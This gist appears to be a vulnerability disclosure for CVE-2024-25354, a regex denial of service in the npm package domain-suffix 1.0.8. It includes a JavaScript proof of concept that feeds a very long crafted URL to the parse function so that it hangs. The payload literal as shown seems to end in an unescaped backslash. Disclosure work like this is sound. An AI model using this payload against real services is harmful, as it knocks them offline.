Skip to content

Instantly share code, notes, and snippets.

@6en6ar
Last active March 20, 2024 07:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 6en6ar/c3b11b4058b8e2bc54717408d451fb79 to your computer and use it in GitHub Desktop.
Save 6en6ar/c3b11b4058b8e2bc54717408d451fb79 to your computer and use it in GitHub Desktop.
Security issue in domain-suffix
Product: https://www.npmjs.com/package/domain-suffix
Version: 1.0.8
Vulnerability type: Denial of Service
CVE ID: CVE-2024-25354
The regex defined on line 28. inside https://github.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts
is vulnerable to Regex Denial of Service. When a long string is provided to the application without specifying "/" character
the function parse will be stuck for indefinite amount of time, in this case 10 seconds, but this can be
amplified if more characters are added.
PoC code:
const DomainSuffix = require("domain-suffix").domainSuffix;
console.time('[ + ] Time passed -> ');
var payload = "aA".repeat(95500) + '/Aa\';
let result = DomainSuffix.parse("https://" + payload)
if(result){
let {suffix,domain} = result;
console.log(suffix,domain);
}else{
console.log("cannot parse");
}
console.timeEnd('[ + ] Time passed -> ');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment